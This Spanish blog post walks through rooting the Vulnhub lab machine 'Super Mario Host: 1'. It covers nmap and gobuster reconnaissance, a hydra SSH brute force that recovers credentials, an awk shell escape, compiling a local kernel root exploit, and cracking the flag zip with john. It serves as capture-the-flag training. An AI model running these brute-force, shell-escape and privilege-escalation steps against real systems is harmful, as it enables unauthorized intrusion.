sábado, 14 de mayo de 2022

CTF Super Mario Host: 1 VM

 

Se inicia esta máquina explorando los puertos con nmap.

$ sudo nmap -sV -Pn -A -O -oN smariohost 192.168.2.22
Nmap scan report for 192.168.2.22
Host is up (0.00047s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 1c97c0063bcb4f6f0f658d3782c42359 (DSA)
|   2048 452dfe04bb98ed00d77b36da8fcf441c (RSA)
|   256 095c259d5c54ae8d90e3449b5ea14de0 (ECDSA)
|_  256 c9d56a3253ab8a43744b85fba0ba4052 (ED25519)
8180/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: nginx
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Como no se encontró nada en el navegador en el puerto 8180, se escanea los directorios con el flag de extensión tipo php.

$ gobuster dir -u http://192.168.2.22:8180/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.22:8180/.php                 (Status: 403) [Size: 206]
http://192.168.2.22:8180/.php                 (Status: 403) [Size: 206]
http://192.168.2.22:8180/vhosts               (Status: 200) [Size: 1364]
http://192.168.2.22:8180/server-status        (Status: 403) [Size: 215]

Se encontró un archivo de configuración que contenía una vhost, asi que se procede a añadirlo.

$ sudo vi /etc/hosts
192.168.2.22        mario.supermariohost.local

Ahora sé pasando la url http://mario.supermariohost.local:8180/ se ve un minijuego de Mario.


Se escanea de nuevo las rutas con esta nueva dirección.

$ gobuster dir -u http://mario.supermariohost.local:8180/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://mario.supermariohost.local:8180/.php                 (Status: 403) [Size: 206]
http://mario.supermariohost.local:8180/mario.php            (Status: 200) [Size: 7080]
http://mario.supermariohost.local:8180/command.php          (Status: 200) [Size: 231]
http://mario.supermariohost.local:8180/.php                 (Status: 403) [Size: 206]
http://mario.supermariohost.local:8180/luigi.php            (Status: 200) [Size: 386]
http://mario.supermariohost.local:8180/server-status        (Status: 403) [Size: 215]

 

Regresando al navegador en la ruta /luigi.php.

Para conveniencia, se hizo una pequeña lista con usuarios permitidos, toad, luigi, peach, yoshi y mario. Con esta lista se creó un diccionario que se va a utilizar para forzar la entrada a servidor por el puerto SSH.

$ john --wordlist=~/Documentos/vulhub/supermarioHost_1/users --rules --stdout >psw

Ya teniendo ambos diccionarios de usuarios y contraseñas, con hidra para hacer una serie de ataques de fuerza bruta.
hydra -s 22 -L /../users -P /../psw -t 16 192.168.2.22 ssh
...
login: luigi   password: luigi1

Con las credenciales se inicia secion.

Con el comando de ayuda se desplegó una serie de comandos que al menos un es vulnerable y dar una shell.
awk 'BEGIN {system("/bin/sh")}'

 

Ahora se verifica la versión de Linux que está corriendo. Se encuentra un mensaje en la que se declara la guerra contra Luigi por el amor de la princesa.
$ cat /proc/version
Linux version 3.13.0-32-generic (buildd@kissel) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014
 

Con este exploit, al seguir las instrucciones permitirá obtener un usuario con permisos root.
$ mv 37292 37292.c
$ gcc 37292.c -o exp
$ exp


Ahora con el usuario root, en el directorio /root se encuentra el flag en un .zip. Como no puedo descomprimirlo, se copia en /var/www/html y ahí poder descargarlo desde el navegador en la ruta http://192.168.2.22:8180/flag.zip.

Una vez descargado se utiliza a john para desencriptar él .zip.
$ zip2john flag.zip > ziphash


$ john --wordlist=~/Documentos/rockyou.txt ziphash              
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovepeach       (flag.zip/flag.txt)


Se descomprime y se utiliza esta contraseña en él .zip y se encuentra lo siguiente.
$ unzip flag.zip  
Archive:  flag.zip
[flag.zip] flag.txt password:
  inflating: flag.txt  


$ cat flag.txt
Well done :D If you reached this it means you got root, congratulations.
Now, there are multiple ways to hack this machine. The goal is to get all the passwords of all the users in this machine. If you did it, then congratulations, I hope you had fun :D

Keep in touch on twitter through @mr_h4sh

Congratulations again!

mr_h4sh


Y bueno, eso es todo por esta entrada, no se continúa esta entrada con la búsqueda del siguiente flag, ya que hay un punto en el que parece que todo funciona y debería funcionar no funciona. Asi que les dejo hasta aquí, si alguien cree tener la forma de evadir esa restricción con gusto, me gustaría platicarlo.

Muchas gracias a @mr_h4sh que nos brindó esta VM. Hasta la próxima.

Vulnhub: Super Mario Host: 1